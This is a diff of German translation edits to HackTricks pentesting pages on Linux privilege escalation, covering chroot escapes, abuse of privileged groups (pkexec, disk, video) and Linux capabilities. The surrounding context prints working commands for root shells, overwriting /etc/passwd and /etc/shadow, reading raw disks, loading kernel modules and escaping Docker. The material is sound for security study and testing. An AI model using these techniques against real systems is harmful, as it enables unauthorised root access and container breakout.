+- Das Verlassen von PID 1 in einem neuen Namensraum führt zur Bereinigung des `PIDNS_HASH_ADDING` Flags. Dies führt dazu, dass die Funktion `alloc_pid` fehlschlägt, um eine neue PID zuzuweisen, wenn ein neuer Prozess erstellt wird, was den Fehler "Kann Speicher nicht zuweisen" erzeugt.
 
 3. **Lösung**:
-- Das Problem kann gelöst werden, indem die Option `-f` mit `unshare` verwendet wird. Diese Option sorgt dafür, dass `unshare` einen neuen Prozess nach der Erstellung des neuen PID-Namespace forked.
+- Das Problem kann gelöst werden, indem die Option `-f` mit `unshare` verwendet wird. Diese Option sorgt dafür, dass `unshare` einen neuen Prozess nach der Erstellung des neuen PID-Namensraums forked.
-- Das Ausführen von `%unshare -fp /bin/bash%` stellt sicher, dass der `unshare` Befehl selbst PID 1 im neuen Namespace wird. `/bin/bash` und seine Kindprozesse sind dann sicher in diesem neuen Namespace enthalten, wodurch der vorzeitige Austritt von PID 1 verhindert wird und eine normale PID-Zuweisung ermöglicht wird.
+- Das Ausführen von `%unshare -fp /bin/bash%` stellt sicher, dass der `unshare` Befehl selbst PID 1 im neuen Namensraum wird. `/bin/bash` und seine Kindprozesse sind dann sicher in diesem neuen Namensraum enthalten, wodurch der vorzeitige Austritt von PID 1 verhindert wird und eine normale PID-Zuweisung ermöglicht wird.
 
-Indem sichergestellt wird, dass `unshare` mit dem `-f` Flag ausgeführt wird, wird der neue PID-Namespace korrekt aufrechterhalten, sodass `/bin/bash` und seine Unterprozesse ohne den Speicherzuweisungsfehler arbeiten können.
+Durch die Sicherstellung, dass `unshare` mit dem `-f` Flag ausgeführt wird, wird der neue PID-Namensraum korrekt aufrechterhalten, sodass `/bin/bash` und seine Unterprozesse ohne den Speicherzuweisungsfehler arbeiten können.
 
 </details>
 

src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md

@@ -9,7 +9,7 @@
 ## Chroot-Ausbrüche
 
 Von [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): Der chroot-Mechanismus ist **nicht dazu gedacht**, um gegen absichtliche Manipulationen durch **privilegierte** (**root**) **Benutzer** zu verteidigen. In den meisten Systemen stapeln sich chroot-Kontexte nicht richtig und chrooted Programme **mit ausreichenden Rechten können einen zweiten chroot durchführen, um auszubrechen**.\
-Normalerweise bedeutet dies, dass du root innerhalb des chroot sein musst, um auszubrechen.
+Normalerweise bedeutet dies, dass du root innerhalb des chroot sein musst, um zu entkommen.
 
 > [!TIP]
 > Das **Tool** [**chw00t**](https://github.com/earthquake/chw00t) wurde entwickelt, um die folgenden Szenarien auszunutzen und aus `chroot` auszubrechen.
@@ -17,7 +17,7 @@ Normalerweise bedeutet dies, dass du root innerhalb des chroot sein musst, um au
 ### Root + CWD
 
 > [!WARNING]
-> Wenn du **root** innerhalb eines chroot bist, **kannst du ausbrechen**, indem du **einen weiteren chroot** erstellst. Das liegt daran, dass 2 chroots nicht koexistieren können (in Linux), also wenn du einen Ordner erstellst und dann **einen neuen chroot** in diesem neuen Ordner erstellst, während du **außerhalb davon bist**, wirst du jetzt **außerhalb des neuen chroot** sein und somit im FS.
+> Wenn du **root** innerhalb eines chroot bist, **kannst du entkommen**, indem du **einen weiteren chroot** erstellst. Das liegt daran, dass 2 chroots nicht koexistieren können (in Linux), also wenn du einen Ordner erstellst und dann **einen neuen chroot** in diesem neuen Ordner erstellst, während **du außerhalb davon bist**, wirst du jetzt **außerhalb des neuen chroot** sein und somit im FS.
 >
 > Dies geschieht, weil chroot normalerweise DEIN Arbeitsverzeichnis nicht in das angegebene verschiebt, sodass du einen chroot erstellen kannst, aber außerhalb davon bist.
 
@@ -79,7 +79,7 @@ system("/bin/bash");
 ### Root + Gespeicherter fd
 
 > [!WARNING]
-> Dies ist ähnlich wie im vorherigen Fall, aber in diesem Fall **speichert der Angreifer einen Dateideskriptor für das aktuelle Verzeichnis** und **erstellt dann das chroot in einem neuen Ordner**. Schließlich hat er **Zugriff** auf diesen **FD** **außerhalb** des chroot, er greift darauf zu und **entkommt**.
+> Dies ist ähnlich wie der vorherige Fall, aber in diesem Fall **speichert der Angreifer einen Dateideskriptor für das aktuelle Verzeichnis** und **erstellt dann das chroot in einem neuen Ordner**. Schließlich hat er **Zugriff** auf diesen **FD** **außerhalb** des chroot, er greift darauf zu und **entkommt**.
 
 <details>
 
@@ -139,7 +139,7 @@ chroot(".");
 
 > [!WARNING]
 >
-> - Erstelle einen Fork (Kindprozess) und chroote in einen anderen Ordner tiefer im FS und wechsle in ihn
+> - Erstelle einen Fork (Kindprozess) und chroote in einen anderen Ordner tiefer im FS und wechsle dorthin
 > - Bewege vom Elternprozess den Ordner, in dem sich der Kindprozess befindet, in einen Ordner vor dem chroot der Kinder
 > - Dieser Kinderprozess wird sich außerhalb des chroot finden
 
@@ -177,7 +177,7 @@ echo /home/* #List directory
 ```
 ### Erstelle Skript
 
-Überprüfe, ob du eine ausführbare Datei mit _/bin/bash_ als Inhalt erstellen kannst
+Überprüfe, ob du eine ausführbare Datei mit _/bin/bash_ als Inhalt erstellen kannst.
 ```bash
 red /bin/bash
 > w wx/path #Write /bin/bash in a writable and executable path
@@ -236,11 +236,11 @@ Einige Tricks, um **Funktionen einer Bibliothek ohne Verwendung von Punkten aufz
 print(string.char(0x41, 0x42))
 print(rawget(string, "char")(0x41, 0x42))
 ```
-Auflisten von Funktionen einer Bibliothek:
+Enumerieren Sie Funktionen einer Bibliothek:
 ```bash
 for k,v in pairs(string) do print(k,v) end
 ```
-Beachten Sie, dass sich **die Reihenfolge der Funktionen ändert**, jedes Mal, wenn Sie die vorherige Einzeiler in einer **anderen Lua-Umgebung ausführen**. Daher können Sie, wenn Sie eine bestimmte Funktion ausführen müssen, einen Brute-Force-Angriff durchführen, indem Sie verschiedene Lua-Umgebungen laden und die erste Funktion der Bibliothek aufrufen:
+Beachten Sie, dass sich bei jeder Ausführung der vorherigen Einzeiler in einer **anderen Lua-Umgebung die Reihenfolge der Funktionen ändert**. Daher können Sie, wenn Sie eine bestimmte Funktion ausführen müssen, einen Brute-Force-Angriff durchführen, indem Sie verschiedene Lua-Umgebungen laden und die erste Funktion der Bibliothek aufrufen:
 ```bash
 #In this scenario you could BF the victim that is generating a new lua environment
 #for every interaction with the following line and when you are lucky

src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md

@@ -22,18 +22,18 @@ sudo su
 ```
 ### PE - Methode 2
 
-Finden Sie alle SUID-Binärdateien und überprüfen Sie, ob die Binärdatei **Pkexec** vorhanden ist:
+Finde alle SUID-Binärdateien und überprüfe, ob die Binärdatei **Pkexec** vorhanden ist:
 ```bash
 find / -perm -4000 2>/dev/null
 ```
-Wenn Sie feststellen, dass die Binärdatei **pkexec eine SUID-Binärdatei ist** und Sie zur Gruppe **sudo** oder **admin** gehören, können Sie wahrscheinlich Binärdateien als sudo mit `pkexec` ausführen.\
+Wenn Sie feststellen, dass die Binärdatei **pkexec eine SUID-Binärdatei ist** und Sie zu **sudo** oder **admin** gehören, können Sie wahrscheinlich Binärdateien als sudo mit `pkexec` ausführen.\
-Das liegt daran, dass dies typischerweise die Gruppen innerhalb der **polkit-Richtlinie** sind. Diese Richtlinie identifiziert im Wesentlichen, welche Gruppen `pkexec` verwenden können. Überprüfen Sie dies mit:
+Das liegt daran, dass dies typischerweise die Gruppen sind, die in der **polkit-Richtlinie** enthalten sind. Diese Richtlinie identifiziert im Wesentlichen, welche Gruppen `pkexec` verwenden können. Überprüfen Sie dies mit:
 ```bash
 cat /etc/polkit-1/localauthority.conf.d/*
 ```
 Dort finden Sie, welche Gruppen berechtigt sind, **pkexec** auszuführen, und **standardmäßig** erscheinen in einigen Linux-Distributionen die Gruppen **sudo** und **admin**.
 
-Um **root zu werden, können Sie ausführen**:
+Um **Root zu werden, können Sie** ausführen:
 ```bash
 pkexec "/bin/sh" #You will be prompted for your user password
 ```
@@ -43,7 +43,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed
 ==== AUTHENTICATION FAILED ===
 Error executing command as another user: Not authorized
 ```
-**Es liegt nicht daran, dass Sie keine Berechtigungen haben, sondern daran, dass Sie ohne eine GUI nicht verbunden sind**. Und es gibt einen Workaround für dieses Problem hier: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Sie benötigen **2 verschiedene SSH-Sitzungen**:
+**Es liegt nicht daran, dass Sie keine Berechtigungen haben, sondern weil Sie ohne eine GUI nicht verbunden sind**. Und es gibt eine Lösung für dieses Problem hier: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Sie benötigen **2 verschiedene SSH-Sitzungen**:
 ```bash:session1
 echo $$ #Step1: Get current PID
 pkexec "/bin/bash" #Step 3, execute pkexec
@@ -56,7 +56,7 @@ pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
 ```
 ## Wheel-Gruppe
 
-**Manchmal** **findet man standardmäßig** in der **/etc/sudoers**-Datei diese Zeile:
+**Manchmal** finden Sie **standardmäßig** in der **/etc/sudoers**-Datei diese Zeile:
 ```
 %wheel	ALL=(ALL:ALL) ALL
 ```
@@ -88,7 +88,7 @@ $ echo $PATH
 ```
 Wenn wir einige Programme in `/usr/local` übernehmen können, können wir leicht Root-Rechte erlangen.
 
-Die Übernahme des `run-parts`-Programms ist ein einfacher Weg, um Root-Rechte zu erlangen, da die meisten Programme `run-parts` wie (crontab, bei SSH-Login) ausführen werden.
+Die Übernahme des `run-parts`-Programms ist ein einfacher Weg, um Root-Rechte zu erhalten, da die meisten Programme `run-parts` wie (crontab, bei SSH-Login) ausführen werden.
 ```bash
 $ cat /etc/crontab | grep run-parts
 17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
@@ -132,7 +132,7 @@ $ /bin/bash -p
 
 Dieses Privileg ist fast **äquivalent zu Root-Zugriff**, da Sie auf alle Daten innerhalb der Maschine zugreifen können.
 
-Dateien:`/dev/sd[a-z][1-9]`
+Files:`/dev/sd[a-z][1-9]`
 ```bash
 df -h #Find where "/" is mounted
 debugfs /dev/sda1
@@ -158,7 +158,7 @@ moshe    pts/1    10.10.14.44      02:53   24:07   0.06s  0.06s /bin/bash
 ```
 Die **tty1** bedeutet, dass der Benutzer **yossi physisch** an einem Terminal auf der Maschine angemeldet ist.
 
-Die **video-Gruppe** hat Zugriff auf die Anzeige des Bildschirmausgangs. Grundsätzlich können Sie die Bildschirme beobachten. Um dies zu tun, müssen Sie **das aktuelle Bild auf dem Bildschirm** in Rohdaten erfassen und die Auflösung ermitteln, die der Bildschirm verwendet. Die Bildschirmdaten können in `/dev/fb0` gespeichert werden, und Sie können die Auflösung dieses Bildschirms unter `/sys/class/graphics/fb0/virtual_size` finden.
+Die **Video-Gruppe** hat Zugriff auf die Anzeige der Bildschirmausgabe. Grundsätzlich können Sie die Bildschirme beobachten. Um dies zu tun, müssen Sie **das aktuelle Bild auf dem Bildschirm** in Rohdaten erfassen und die Auflösung ermitteln, die der Bildschirm verwendet. Die Bildschirmdaten können in `/dev/fb0` gespeichert werden, und Sie können die Auflösung dieses Bildschirms unter `/sys/class/graphics/fb0/virtual_size` finden.
 ```bash
 cat /dev/fb0 > /tmp/screen.raw
 cat /sys/class/graphics/fb0/virtual_size
@@ -167,7 +167,7 @@ Um das **raw image** zu **öffnen**, können Sie **GIMP** verwenden, die **`scre
 
 ![](<../../../images/image (463).png>)
 
-Ändern Sie dann die Breite und Höhe auf die Werte, die auf dem Bildschirm verwendet werden, und überprüfen Sie verschiedene Bildtypen (und wählen Sie den aus, der den Bildschirm am besten darstellt):
+Ändern Sie dann die Breite und Höhe auf die Werte, die auf dem Bildschirm verwendet werden, und überprüfen Sie verschiedene Bildtypen (und wählen Sie denjenigen aus, der den Bildschirm am besten darstellt):
 
 ![](<../../../images/image (317).png>)
 
@@ -223,6 +223,6 @@ Daher sollten Sie, wenn Sie einen Benutzer in dieser Gruppe kompromittiert haben
 ## Auth Gruppe
 
 Innerhalb von OpenBSD kann die **auth** Gruppe normalerweise in die Ordner _**/etc/skey**_ und _**/var/db/yubikey**_ schreiben, wenn sie verwendet werden.\
-Diese Berechtigungen können mit dem folgenden Exploit missbraucht werden, um **Privilegien** auf root zu eskalieren: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
+Diese Berechtigungen können mit dem folgenden Exploit missbraucht werden, um **Privilegien** auf root zu **eskalieren**: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/linux-hardening/privilege-escalation/linux-capabilities.md

@@ -63,7 +63,7 @@ Beachten Sie, dass für alle laufenden Prozesse die Fähigkeitsinformationen pro
 
 Sie finden die Fähigkeiten definiert in /usr/include/linux/capability.h
 
-Sie können die Fähigkeiten des aktuellen Prozesses in `cat /proc/self/status` oder durch `capsh --print` und die anderer Benutzer in `/proc/<pid>/status` finden.
+Sie können die Fähigkeiten des aktuellen Prozesses in `cat /proc/self/status` oder durch Ausführen von `capsh --print` und die anderer Benutzer in `/proc/<pid>/status` finden.
 ```bash
 cat /proc/1234/status | grep Cap
 cat /proc/$$/status | grep Cap #This will print the capabilities of the current process
@@ -74,7 +74,7 @@ Dieser Befehl sollte auf den meisten Systemen 5 Zeilen zurückgeben.
 - CapPrm = Erlaubte Fähigkeiten
 - CapEff = Effektive Fähigkeiten
 - CapBnd = Begrenzte Menge
-- CapAmb = Ambient-Fähigkeiten Menge
+- CapAmb = Ambientfähigkeiten Menge
 ```bash
 #These are the typical capabilities of a root owned process (all)
 CapInh: 0000000000000000
@@ -123,9 +123,9 @@ $ capsh --decode=0000000000003000
 0x0000000000003000=cap_net_admin,cap_net_raw
 ```
 Wie Sie sehen können, entsprechen die angegebenen Fähigkeiten den Ergebnissen der 2 Methoden, um die Fähigkeiten einer Binärdatei zu erhalten.\
-Das _getpcaps_ Tool verwendet den **capget()** Systemaufruf, um die verfügbaren Fähigkeiten für einen bestimmten Thread abzufragen. Dieser Systemaufruf muss nur die PID bereitstellen, um weitere Informationen zu erhalten.
+Das _getpcaps_ Tool verwendet den **capget()** Systemaufruf, um die verfügbaren Fähigkeiten für einen bestimmten Thread abzufragen. Dieser Systemaufruf muss nur die PID angeben, um weitere Informationen zu erhalten.
 
-### Fähigkeiten von Binärdateien
+### Binaries Capabilities
 
 Binärdateien können Fähigkeiten haben, die während der Ausführung verwendet werden können. Zum Beispiel ist es sehr häufig, die `ping` Binärdatei mit der `cap_net_raw` Fähigkeit zu finden:
 ```bash
@@ -138,7 +138,7 @@ getcap -r / 2>/dev/null
 ```
 ### Dropping capabilities with capsh
 
-Wenn wir die CAP*NET_RAW-Fähigkeiten für \_ping* entfernen, sollte das Ping-Utility nicht mehr funktionieren.
+Wenn wir die CAP*NET_RAW-Fähigkeiten für \_ping* entfernen, sollte das Ping-Dienstprogramm nicht mehr funktionieren.
 ```bash
 capsh --drop=cap_net_raw --print -- -c "tcpdump"
 ```
@@ -270,7 +270,7 @@ gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
 sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
 ./ambient /bin/bash
 ```
-Innerhalb der **bash, die von der kompilierten Umgebungs-Binärdatei ausgeführt wird**, ist es möglich, die **neuen Fähigkeiten** zu beobachten (ein regulärer Benutzer wird keine Fähigkeit im "aktuellen" Abschnitt haben).
+Innerhalb der **von der kompilierten Umgebungs-Binärdatei ausgeführten bash** ist es möglich, die **neuen Fähigkeiten** zu beobachten (ein regulärer Benutzer wird keine Fähigkeit im "aktuellen" Abschnitt haben).
 ```bash
 capsh --print
 Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
@@ -280,7 +280,7 @@ Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
 
 ### Fähigkeit-bewusste/Fähigkeit-dumme Binaries
 
-Die **fähigkeit-bewussten Binaries verwenden die neuen Fähigkeiten** nicht, die von der Umgebung bereitgestellt werden, jedoch werden die **fähigkeit-dummen Binaries** sie verwenden, da sie sie nicht ablehnen. Dies macht Fähigkeit-dumme Binaries anfällig in einer speziellen Umgebung, die Binaries Fähigkeiten gewährt.
+Die **fähigkeit-bewussten Binaries verwenden die neuen Fähigkeiten** nicht, die von der Umgebung bereitgestellt werden, jedoch **werden die Fähigkeit-dummen Binaries sie verwenden**, da sie sie nicht ablehnen. Dies macht Fähigkeit-dumme Binaries anfällig in einer speziellen Umgebung, die Binaries Fähigkeiten gewährt.
 
 ## Dienstfähigkeiten
 
@@ -337,7 +337,7 @@ setcap cap_setuid+ep /usr/bin/python2.7
 #Exploit
 /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'
 ```
-**Capabilities** benötigt von `tcpdump`, um **jedem Benutzer das Abfangen von Paketen zu ermöglichen**:
+**Fähigkeiten**, die von `tcpdump` benötigt werden, um **jedem Benutzer das Abfangen von Paketen zu ermöglichen**:
 ```bash
 setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
 getcap /usr/sbin/tcpdump
@@ -349,13 +349,13 @@ getcap /usr/sbin/tcpdump
 
 1. nicht im Besitz von root ist
 2. keine `SUID`/`SGID`-Bits gesetzt hat
-3. leere Fähigkeiten gesetzt hat (z. B.: `getcap myelf` gibt `myelf =ep` zurück)
+3. leere Fähigkeiten gesetzt hat (z.B.: `getcap myelf` gibt `myelf =ep` zurück)
 
 dann **wird diese Binärdatei als root ausgeführt**.
 
 ## CAP_SYS_ADMIN
 
-**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** ist eine äußerst mächtige Linux-Fähigkeit, die oft mit einem nahezu Root-Level gleichgesetzt wird, aufgrund ihrer umfangreichen **administrativen Berechtigungen**, wie das Einhängen von Geräten oder das Manipulieren von Kernel-Funktionen. Während sie für Container, die ganze Systeme simulieren, unverzichtbar ist, **stellt `CAP_SYS_ADMIN` erhebliche Sicherheitsherausforderungen** dar, insbesondere in containerisierten Umgebungen, aufgrund ihres Potenzials zur Privilegieneskalation und Systemkompromittierung. Daher erfordert ihre Nutzung strenge Sicherheitsbewertungen und vorsichtige Verwaltung, mit einer starken Präferenz für das Entfernen dieser Fähigkeit in anwendungsspezifischen Containern, um dem **Prinzip der geringsten Privilegien** zu entsprechen und die Angriffsfläche zu minimieren.
+**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** ist eine äußerst mächtige Linux-Fähigkeit, die oft mit einem nahezu Root-Level gleichgesetzt wird, aufgrund ihrer umfangreichen **administrativen Privilegien**, wie das Einbinden von Geräten oder das Manipulieren von Kernel-Funktionen. Während sie für Container, die ganze Systeme simulieren, unverzichtbar ist, **stellt `CAP_SYS_ADMIN` erhebliche Sicherheitsherausforderungen** dar, insbesondere in containerisierten Umgebungen, aufgrund ihres Potenzials zur Privilegieneskalation und Systemkompromittierung. Daher erfordert ihre Nutzung strenge Sicherheitsbewertungen und vorsichtige Verwaltung, mit einer starken Präferenz für das Entfernen dieser Fähigkeit in anwendungsspezifischen Containern, um dem **Prinzip der geringsten Privilegien** zu entsprechen und die Angriffsfläche zu minimieren.
 
 **Beispiel mit Binärdatei**
 ```bash
@@ -368,7 +368,7 @@ cp /etc/passwd ./ #Create a copy of the passwd file
 openssl passwd -1 -salt abc password #Get hash of "password"
 vim ./passwd #Change roots passwords of the fake passwd file
 ```
-Und schließlich **mounten** Sie die modifizierte `passwd`-Datei auf `/etc/passwd`:
+Und schließlich **mount** die modifizierte `passwd`-Datei auf `/etc/passwd`:
 ```python
 from ctypes import *
 libc = CDLL("libc.so.6")
@@ -385,7 +385,7 @@ Und Sie werden in der Lage sein, **`su` als root** mit dem Passwort "password" z
 
 **Beispiel mit Umgebung (Docker-Ausbruch)**
 
-Sie können die aktivierten Fähigkeiten innerhalb des Docker-Containers überprüfen, indem Sie:
+Sie können die aktivierten Fähigkeiten innerhalb des Docker-Containers überprüfen mit:
 ```
 capsh --print
 Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
@@ -611,7 +611,7 @@ uid=0(root)
 gid=0(root)
 groups=0(root
 ```
-List **Prozesse** die im **Host** laufen `ps -eaf`
+List **Prozesse**, die im **Host** `ps -eaf`
 
 1. Holen Sie sich die **Architektur** `uname -m`
 2. Finden Sie einen **Shellcode** für die Architektur ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))
@@ -621,8 +621,8 @@ List **Prozesse** die im **Host** laufen `ps -eaf`
 
 ## CAP_SYS_MODULE
 
-**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** ermöglicht einem Prozess das **Laden und Entladen von Kernelmodulen (`init_module(2)`, `finit_module(2)` und `delete_module(2)` Systemaufrufe)**, was direkten Zugriff auf die Kernoperationen des Kernels bietet. Diese Fähigkeit birgt erhebliche Sicherheitsrisiken, da sie eine Privilegieneskalation und einen vollständigen Systemkompromiss ermöglicht, indem sie Modifikationen am Kernel erlaubt und somit alle Linux-Sicherheitsmechanismen, einschließlich Linux Security Modules und Container-Isolierung, umgeht.  
+**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** ermöglicht einem Prozess das **Laden und Entladen von Kernelmodulen (`init_module(2)`, `finit_module(2)` und `delete_module(2)` Systemaufrufe)** und bietet direkten Zugriff auf die Kernoperationen des Kernels. Diese Fähigkeit birgt erhebliche Sicherheitsrisiken, da sie eine Privilegieneskalation und einen vollständigen Systemkompromiss ermöglicht, indem sie Änderungen am Kernel zulässt und somit alle Linux-Sicherheitsmechanismen, einschließlich Linux Security Modules und Container-Isolierung, umgeht.  
-**Das bedeutet, dass Sie** **Kernelmodule in/aus dem Kernel des Host-Systems einfügen/entfernen können.**
+**Das bedeutet, dass Sie** **Kernelmodule in den Kernel der Hostmaschine einfügen/entfernen können.**
 
 **Beispiel mit Binärdatei**
 
@@ -631,8 +631,8 @@ Im folgenden Beispiel hat die Binärdatei **`python`** diese Fähigkeit.
 getcap -r / 2>/dev/null
 /usr/bin/python2.7 = cap_sys_module+ep
 ```
-Standardmäßig überprüft der **`modprobe`** Befehl die Abhängigkeitsliste und die Map-Dateien im Verzeichnis **`/lib/modules/$(uname -r)`**.\
+Standardmäßig überprüft der Befehl **`modprobe`** die Abhängigkeitsliste und die Map-Dateien im Verzeichnis **`/lib/modules/$(uname -r)`**.\
-Um dies auszunutzen, lassen Sie uns einen gefälschten **lib/modules** Ordner erstellen:
+Um dies auszunutzen, lassen Sie uns einen gefälschten **lib/modules**-Ordner erstellen:
 ```bash
 mkdir lib/modules -p
 cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)
@@ -655,7 +655,7 @@ Im folgenden Beispiel hat die Binärdatei **`kmod`** diese Fähigkeit.
 getcap -r / 2>/dev/null
 /bin/kmod = cap_sys_module+ep
 ```
-Was bedeutet, dass es möglich ist, den Befehl **`insmod`** zu verwenden, um ein Kernel-Modul einzufügen. Befolgen Sie das folgende Beispiel, um eine **reverse shell** auszunutzen, die dieses Privileg missbraucht.
+Was bedeutet, dass es möglich ist, den Befehl **`insmod`** zu verwenden, um ein Kernel-Modul einzufügen. Folgen Sie dem untenstehenden Beispiel, um eine **reverse shell** auszunutzen, die dieses Privileg missbraucht.
 
 **Beispiel mit Umgebung (Docker-Ausbruch)**
 
@@ -958,7 +958,7 @@ file.close()
 ```
 **Beispiel mit Umgebung + CAP_DAC_READ_SEARCH (Docker-Ausbruch)**
 
-Sie können die aktivierten Fähigkeiten innerhalb des Docker-Containers überprüfen mit:
+Sie können die aktivierten Fähigkeiten innerhalb des Docker-Containers mit folgendem Befehl überprüfen:
 ```bash
 capsh --print
 Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
@@ -1121,7 +1121,7 @@ Um den Docker-Container zu verlassen, könnten Sie die Dateien `/etc/shadow` und
 
 **Beispiel mit Binärdatei**
 
-Angenommen, die **`python`**-Binärdatei hat diese Fähigkeit, Sie können den **Eigentümer** der **shadow**-Datei **ändern**, das **Root-Passwort ändern** und Privilegien eskalieren:
+Angenommen, die **`python`**-Binärdatei hat diese Fähigkeit, können Sie den **Eigentümer** der **shadow**-Datei **ändern**, das **Root-Passwort ändern** und Privilegien eskalieren:
 ```bash
 python -c 'import os;os.chown("/etc/shadow",1000,1000)'
 ```
@@ -1177,7 +1177,7 @@ find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
 #Find every file readable by a group in /etc with a maxpath of 1
 find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null
 ```
-Sobald Sie eine Datei gefunden haben, die Sie missbrauchen können (durch Lesen oder Schreiben), um die Berechtigungen zu erhöhen, können Sie **eine Shell erhalten, die die interessante Gruppe impersoniert** mit:
+Sobald Sie eine Datei gefunden haben, die Sie missbrauchen können (durch Lesen oder Schreiben), um die Berechtigungen zu erhöhen, können Sie **eine Shell erhalten, die die interessante Gruppe imitiert** mit:
 ```python
 import os
 os.setgid(42)
@@ -1241,8 +1241,8 @@ CapAmb: 0000000000000000
 capsh --decode=00000000a80425fb
 0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
 ```
-Diese Fähigkeit erlaubt es, **anderen Binaries beliebige Fähigkeiten zu geben**, sodass wir darüber nachdenken könnten, **aus dem Container zu entkommen, indem wir eine der anderen auf dieser Seite erwähnten Fähigkeitspunkte ausnutzen**.\
+Diese Fähigkeit erlaubt es, **anderen Binaries beliebige andere Fähigkeiten zu geben**, sodass wir darüber nachdenken könnten, **aus dem Container zu entkommen, indem wir eine der anderen Fähigkeitsexploits** auf dieser Seite ausnutzen.\
-Wenn Sie jedoch versuchen, beispielsweise die Fähigkeiten CAP_SYS_ADMIN und CAP_SYS_PTRACE an die gdb-Binärdatei zu vergeben, werden Sie feststellen, dass Sie sie vergeben können, aber die **Binärdatei nach dieser Vergabe nicht mehr ausgeführt werden kann**:
+Wenn Sie jedoch versuchen, beispielsweise die Fähigkeiten CAP_SYS_ADMIN und CAP_SYS_PTRACE an die gdb-Binärdatei zu vergeben, werden Sie feststellen, dass Sie sie vergeben können, aber die **Binärdatei nach diesem Schritt nicht mehr ausgeführt werden kann**:
 ```bash
 getcap /usr/bin/gdb
 /usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip
@@ -1260,7 +1260,7 @@ Es scheint, dass wir nur Fähigkeiten aus dem begrenzenden Set zum vererbbaren S
 
 ## CAP_SYS_RAWIO
 
-[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) bietet eine Reihe sensibler Operationen, einschließlich Zugriff auf `/dev/mem`, `/dev/kmem` oder `/proc/kcore`, Modifikation von `mmap_min_addr`, Zugriff auf die Systemaufrufe `ioperm(2)` und `iopl(2)` sowie verschiedene Festplattenbefehle. Der `FIBMAP ioctl(2)` wird ebenfalls über diese Fähigkeit aktiviert, was in der [Vergangenheit](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html) zu Problemen geführt hat. Laut der Man-Seite ermöglicht dies dem Inhaber auch, `eine Reihe von gerätespezifischen Operationen auf anderen Geräten durchzuführen`.
+[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) bietet eine Reihe sensibler Operationen, einschließlich Zugriff auf `/dev/mem`, `/dev/kmem` oder `/proc/kcore`, Modifikation von `mmap_min_addr`, Zugriff auf die Systemaufrufe `ioperm(2)` und `iopl(2)` sowie verschiedene Festplattenbefehle. Der `FIBMAP ioctl(2)` wird ebenfalls über diese Fähigkeit aktiviert, was in der [Vergangenheit](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html) zu Problemen geführt hat. Laut der Man-Seite erlaubt dies dem Inhaber auch, beschreibend `eine Reihe von gerätespezifischen Operationen auf anderen Geräten durchzuführen`.
 
 Dies kann nützlich sein für **Privilegieneskalation** und **Docker-Ausbrüche.**
 
@@ -1280,7 +1280,7 @@ os.killpg(pgid, signal.SIGKILL)
 ```
 **Privesc mit kill**
 
-Wenn Sie kill-Berechtigungen haben und ein **Node-Programm als root** (oder als ein anderer Benutzer) läuft, könnten Sie wahrscheinlich **es** das **Signal SIGUSR1** **senden** und es **den Node-Debugger öffnen** lassen, zu dem Sie eine Verbindung herstellen können.
